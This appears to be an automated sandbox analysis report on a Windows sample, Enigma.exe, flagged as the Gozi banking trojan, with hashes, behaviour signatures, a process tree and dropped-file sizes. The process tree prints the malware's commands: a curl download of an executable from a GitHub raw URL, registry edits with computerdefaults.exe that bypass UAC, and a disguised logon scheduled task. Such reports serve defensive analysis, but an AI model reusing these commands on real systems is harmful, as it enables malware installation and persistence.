Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
16/04/2024, 21:04
General
-
Target
Enigma.exe
-
Size
1.2MB
-
MD5
d0f80a39b6f0a3beac677c6846c3b41a
-
SHA1
d7b1f3b1b53fa474247f9d4e63b959aa902866a4
-
SHA256
3ef10a8b44eb13fc45d40ced592fe9f1a83e6b021b3681da61f7cce688304047
-
SHA512
38cf9347f60cfa8a700f040e647deaac3309db71919b508ef7bf82f39b3497a5124413cdaae2ddc522200b23ab4c832f7c6ba72e673c8496ee8a36326c889270
-
SSDEEP
24576:3stMPfK4jgsfALDEx/AoO0RwqvpVQqblqJRYu/UZfh+n6A6qtFa:3stb+Jlp3gJerIn6ApF
Malware Config
Extracted
gozi
Signatures
-
Gozi
Gozi is a well-known and widely distributed banking trojan.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 6 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies Internet Explorer settings 1 TTPs 2 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 10 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 54 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Enigma.exe"C:\Users\Admin\AppData\Local\Temp\Enigma.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Checks BIOS information in registry
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks for VirtualBox DLLs, possible anti-VM trick
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start https://discord.gg/P5448HTPrE3⤵
- Checks computer location settings
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color D3⤵
-
-
C:\Windows\SysWOW64\kdmapper.exe"C:\Windows\SysWOW64\kdmapper.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\appledamage91697.vbs" /f4⤵
- Modifies registry class
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f4⤵
- Modifies registry class
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C computerdefaults.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ComputerDefaults.execomputerdefaults.exe5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT5⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\fwe4mmr1.exe"C:\Users\Admin\AppData\Local\Temp\fwe4mmr1.exe" explorer.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl --silent https://raw.githubusercontent.com/killebolaaaaaaaaaaaaaaaaa/pizdechui/main/mservice64.exe --output C:\Windows\SysWOW64\physmeme.exe3⤵
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
74KB
MD5d4fc49dc14f63895d997fa4940f24378
SHA13efb1437a7c5e46034147cbbc8db017c69d02c31
SHA256853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1
SHA512cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a
-
Filesize
4KB
MD51bfe591a4fe3d91b03cdf26eaacd8f89
SHA1719c37c320f518ac168c86723724891950911cea
SHA2569cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8
SHA51202f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db
-
Filesize
23KB
MD5ec2c34cadd4b5f4594415127380a85e6
SHA1e7e129270da0153510ef04a148d08702b980b679
SHA256128e20b3b15c65dd470cb9d0dc8fe10e2ff9f72fac99ee621b01a391ef6b81c7
SHA512c1997779ff5d0f74a7fbb359606dab83439c143fbdb52025495bdc3a7cb87188085eaf12cc434cbf63b3f8da5417c8a03f2e64f751c0a63508e4412ea4e7425c
-
Filesize
20KB
MD5cd7be9d5db4419a13915ad4664b9254a
SHA1b732fc7bab501f2ffd461cc7f0b0053153fdb370
SHA256280dd15807b90c2db5c14d1c5933995104ecee2b17c5bdf8d8b00e543b486a23
SHA51238552a818f827d232c50ba730ec57f784b01d41a983d9216b9f1ec589442eaf8fd682d29def78670bdde0350b0f8eb2ba244df14e83cc2fa99fd871a07004510
-
Filesize
136KB
MD5ccd79426b7d78dc654ab7714486432b4
SHA1f214ea40bc25d2834140c9305a2c551b48f3535a
SHA256014de21dfebd669dced32a14b19ff312e485d1e1729b941e1d018d11fa5466cd
SHA51228a315f3a1eaf93435404037fa021f66cfbec06f764087808dc4135a3763f7779e708c5f1e905e578775cc513fa6d785c6a44266553aa30a0940126e4b8e5b57
-
Filesize
124KB
MD5e898826598a138f86f2aa80c0830707a
SHA11e912a5671f7786cc077f83146a0484e5a78729c
SHA256df443ccf551470b3f9f7d92faf51b3b85ae206dd08da3b6390ce9a6039b7253a
SHA5126827068b8580822ded1fb8447bdb038d0e00633f5ef7f480a8cdeaab6928ac23022a0b7a925058e0926ce9b41a6c8c22a5692e074621b2fccdb7edd29a0d4cfb
-
Filesize
16B
MD546295cac801e5d4857d09837238a6394
SHA144e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA2560f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA5128969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
-
Filesize
332B
MD58d3025fee45ebfb1225cd35458650e73
SHA1c8bd6b38097c746b8b0400ae4045cbe3a4f9d10b
SHA256ed14f2f68348ebeb3223fc6e0658d4c8bcc7ed27e70dc9cde17a4c917eb38395
SHA5120a055924c34b72bd57e338e649fa6381bce4162dae160313ef6a51e9cfb9ea9c7aa31f194a0803a3035e93d304fd1d7c292d9201a1c8fc1ac81599d854bf1281
-
Filesize
291B
MD5b2df2290f73e0eac3e80d78eb1ef3602
SHA19c079ec457fa774394508671948bf4147b9644b6
SHA256838554e15d2145dd1fc86d1fd4e91a263e859a02a199688f8509f6d73b38f652
SHA512791706e08f6171fa7a13a8bb70ae835dd1041e8f4cc72fe7ee2d081771222ef950dab0e17887ea88ba97ac73fca0b02f74cadda27e210b9c2b1877d8b542961d
-
Filesize
41B
MD55af87dfd673ba2115e2fcf5cfdb727ab
SHA1d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
-
Filesize
48KB
MD5854a10c0922c27cfeffb77307ee80a71
SHA1bb8cbe8467bfc490031e29fb27fe50ec014f53e2
SHA256f696b1fa16384ecdec974e1bc9a8841fd50cb739818654dc3c7716821d52f69b
SHA512a5004751e3b89fdf4ce49492c46d09eca1a0177c57cacc6546deb236a17c747600748537687713516565330907a2541d3bba4b96cc3b106d589e38ef09b86162
-
Filesize
12KB
MD5cc67c1499b02ac9a13501ee55c83ba95
SHA1abffcbe78b02967d9d695ef369f36798f1558854
SHA2567d71e02e5034e079ba05eab36632850b8c25523eee94a77ac6e76efb8911558b
SHA51215124a9df7787b31c5ba6bb19906f50f1b16f2515a0de535efe119ddd1801770684146dc07c2476180250ae6768c69800f3aedbb251f3ff826fc34340c0e31b7
-
Filesize
1.4MB
MD56f2fdecc48e7d72ca1eb7f17a97e59ad
SHA1fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056
SHA25670e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809
SHA512fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
1.3MB
-
Filesize
1.3MB
-
Filesize
1.3MB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
1.3MB
-
Filesize
696KB
-
Filesize
32KB
-
Filesize
32KB
-
Filesize
4KB
-
Filesize
32KB
-
Filesize
32KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
128KB
-
Filesize
64KB
-
Filesize
6.9MB
-
Filesize
72KB
-
Filesize
6.9MB
-
Filesize
64KB
-
Filesize
5.0MB
-
Filesize
408KB
-
Filesize
40KB
-
Filesize
12.6MB
-
Filesize
40KB
-
Filesize
48KB
-
Filesize
32KB
-
Filesize
584KB
-
Filesize
40KB
-
Filesize
64KB
-
Filesize
12.0MB
-
Filesize
712KB
-
Filesize
136KB
-
Filesize
472KB
-
Filesize
120KB
-
Filesize
104KB
-
Filesize
320KB
-
Filesize
424KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
240KB
-
Filesize
128KB
-
Filesize
48KB
-
Filesize
40KB
-
Filesize
64KB